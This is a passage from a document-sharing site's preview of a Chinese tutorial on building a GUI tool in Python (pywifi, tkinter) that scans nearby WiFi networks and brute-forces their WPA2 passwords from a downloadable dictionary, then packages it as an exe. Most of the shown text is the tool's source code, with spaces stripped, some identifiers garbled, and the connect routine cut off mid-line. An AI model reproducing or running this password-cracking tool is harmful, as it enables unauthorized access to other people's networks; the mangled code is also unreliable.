Python實現(xiàn)暴力破解wifi密碼并打包成exe_第1頁
Python實現(xiàn)暴力破解wifi密碼并打包成exe_第2頁
Python實現(xiàn)暴力破解wifi密碼并打包成exe_第3頁
Python實現(xiàn)暴力破解wifi密碼并打包成exe_第4頁
Python實現(xiàn)暴力破解wifi密碼并打包成exe_第5頁
已閱讀5頁,還剩3頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認(rèn)領(lǐng)

文檔簡介

第Python實現(xiàn)暴力破解wifi密碼并打包成exe目錄前言功能點預(yù)覽前置準(zhǔn)備-依賴庫Pythontkinter編寫GUI界面密碼字典開擼打包成exe演示PS

前言

python號稱是編程界的萬金油,那么是否可以做個讀取電腦網(wǎng)卡wifi并暴力破解的小腳本呢?在這個基礎(chǔ)上為了方便體驗是不是可以將其打包成exe這樣方便執(zhí)行的小應(yīng)用呢?

說干就干~

功能點預(yù)覽

本文主要分享以下需求

python獲取無線網(wǎng)卡python通過無線網(wǎng)卡獲取wifipython暴力破解wifipython通過實現(xiàn)GUI圖形界面python打包成exe

前置準(zhǔn)備-依賴庫

comtypes

pywifi

pyintaller

示例:使用pycharmide安裝pywifi

當(dāng)然你也可以直接使用pipinstallxxx命令進行安裝

Pythontkinter編寫GUI界面

本文使用TKinter實現(xiàn)GUI界面,自己寫界面比較麻煩,可以使用一些可視化的工具(比如QT5)進行快速編排實現(xiàn)GUI代碼自動化。

密碼字典

密碼字典是什么?

簡單的說就是一個提前存放一系列密碼的文本,里面全是數(shù)字、數(shù)字與字母的組合、手機號、座機號、生日等等。

本文測試時你可以自己手動創(chuàng)建密碼字典;也可以下載以下密碼字典庫

鏈接:/s/1lMr4LoOMO7onHd5ZAUvoPw提取碼:2s7k

開擼

fromtkinterimport*

fromtkinterimportttk

importpywifi

frompywifiimportconst

importtime

importtkinter.filedialog#在Gui中打開文件瀏覽

importtkinter.messagebox#打開tkiner的消息提醒框

classMY_GUI():

def__init__(self,init_window_name):

self.init_window_name=init_window_name

#密碼文件路徑

self.get_value=StringVar()#設(shè)置可變內(nèi)容

#獲取破解wifi賬號

self.get_wifi_value=StringVar()

#獲取wifi密碼

self.get_wifimm_value=StringVar()

#抓取網(wǎng)卡接口

self.wifi=pywifi.PyWiFi()

#抓取第一個無線網(wǎng)卡

self.iface=erfaces()[0]

#測試鏈接斷開所有鏈接

self.iface.disconnect()

time.sleep(1)#休眠1秒

#測試網(wǎng)卡是否屬于斷開狀態(tài)

assertself.iface.status()in\

[const.IFACE_DISCONNECTED,const.IFACE_INACTIVE]

def__str__(self):

#自動會調(diào)用的函數(shù),返回自身的網(wǎng)卡

return'(WIFI:%s,%s)'%(self.wifi,())

#設(shè)置窗口

defset_init_window(self):

self.init_window_name.title("普帝WIFI破解工具")

self.init_window_name.geometry('+500+200')

labelframe=LabelFrame(width=800,height=400,text="配置")#框架,以下對象都是對于labelframe中添加的

labelframe.grid(column=0,row=0,padx=10,pady=10)

self.search=Button(labelframe,text="搜索附近WiFi",command=self.scans_wifi_list).grid(column=0,row=0)

self.pojie=Button(labelframe,text="普帝金手指",command=self.readPassWord).grid(column=1,row=0)

self.label=Label(labelframe,text="目錄路徑:").grid(column=0,row=1)

self.path=Entry(labelframe,width=12,textvariable=self.get_value).grid(column=1,row=1)

self.file=Button(labelframe,text="添加密碼文件目錄",command=self.add_mm_file).grid(column=2,row=1)

self.wifi_text=Label(labelframe,text="WiFi賬號:").grid(column=0,row=2)

self.wifi_input=Entry(labelframe,width=12,textvariable=self.get_wifi_value).grid(column=1,row=2)

self.wifi_mm_text=Label(labelframe,text="WiFi密碼:").grid(column=2,row=2)

self.wifi_mm_input=Entry(labelframe,width=10,textvariable=self.get_wifimm_value).grid(column=3,row=2,sticky=W)

self.wifi_labelframe=LabelFrame(text="wifi列表")

self.wifi_labelframe.grid(column=0,row=3,columnspan=4,sticky=NSEW)

#定義樹形結(jié)構(gòu)與滾動條

self.wifi_tree=ttk.Treeview(self.wifi_labelframe,show="headings",columns=("a","b","c","d"))

self.vbar=ttk.Scrollbar(self.wifi_labelframe,orient=VERTICAL,command=self.wifi_tree.yview)

self.wifi_tree.configure(yscrollcommand=self.vbar.set)

#表格的標(biāo)題

self.wifi_tree.column("a",width=50,anchor="center")

self.wifi_tree.column("b",width=100,anchor="center")

self.wifi_tree.column("c",width=100,anchor="center")

self.wifi_tree.column("d",width=100,anchor="center")

self.wifi_tree.heading("a",text="WiFiID")

self.wifi_tree.heading("b",text="SSID")

self.wifi_tree.heading("c",text="BSSID")

self.wifi_tree.heading("d",text="signal")

self.wifi_tree.grid(row=4,column=0,sticky=NSEW)

self.wifi_tree.bind("Double-1",self.onDBClick)

self.vbar.grid(row=4,column=1,sticky=NS)

#搜索wifi

defscans_wifi_list(self):#掃描周圍wifi列表

#開始掃描

print("^_^開始掃描附近wifi...")

self.iface.scan()

time.sleep(15)

#在若干秒后獲取掃描結(jié)果

scanres=self.iface.scan_results()

#統(tǒng)計附近被發(fā)現(xiàn)的熱點數(shù)量

nums=len(scanres)

print("數(shù)量:%s"%(nums))

#實際數(shù)據(jù)

self.show_scans_wifi_list(scanres)

returnscanres

#顯示wifi列表

defshow_scans_wifi_list(self,scans_res):

forindex,wifi_infoinenumerate(scans_res):

self.wifi_tree.insert("",'end',values=(index+1,wifi_info.ssid,wifi_info.bssid,wifi_info.signal))

#添加密碼文件目錄

defadd_mm_file(self):

self.filename=tkinter.filedialog.askopenfilename()

self.get_value.set(self.filename)

#Treeview綁定事件

defonDBClick(self,event):

self.sels=event.widget.selection()

self.get_wifi_value.set(self.wifi_tree.item(self.sels,"values")[1])

#讀取密碼字典,進行匹配

defreadPassWord(self):

self.getFilePath=self.get_value.get()

self.get_wifissid=self.get_wifi_value.get()

pwdfilehander=open(self.getFilePath,"r",errors="ignore")

whileTrue:

try:

self.pwdStr=pwdfilehander.readline()

ifnotself.pwdStr:

break

self.bool1=self.connect(self.pwdStr,self.get_wifissid)

ifself.bool1:

self.res="[*]密碼正確!wifi名:%s,匹配密碼:%s"%(self.get_wifissid,self.pwdStr)

self.get_wifimm_value.set(self.pwdStr)

tkinter.messagebox.showinfo('提示','破解成功?。?!')

print(self.res)

break

else:

self.res="[*]密碼錯誤!wifi名:%s,匹配密碼:%s"%(self.get_wifissid,self.pwdStr)

print(self.res)

time.sleep(3)

except:

continue

#對wifi和密碼進行匹配

defconnect(self,pwd_Str,wifi_ssid):

#創(chuàng)建wifi鏈接文件

file=pywifi.Profile()

file.ssid=wifi_ssid#wifi名稱

file.auth=const.AUTH_ALG_OPEN#網(wǎng)卡的開放

file.akm.append(const.AKM_TYPE_WPA2PSK)#wifi加密算法

file.cipher=const.CIPHER_TYPE_CCMP#加密單元

file.key=pwd_Str#密碼

self.iface.remove_all_network_profiles()#刪除所有的wifi文件

self.tmp_profile=self.iface.add_network_profile(file)#設(shè)定新的鏈接文件

self.iface.connect(self.tmp_pr

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

最新文檔

評論

0/150

提交評論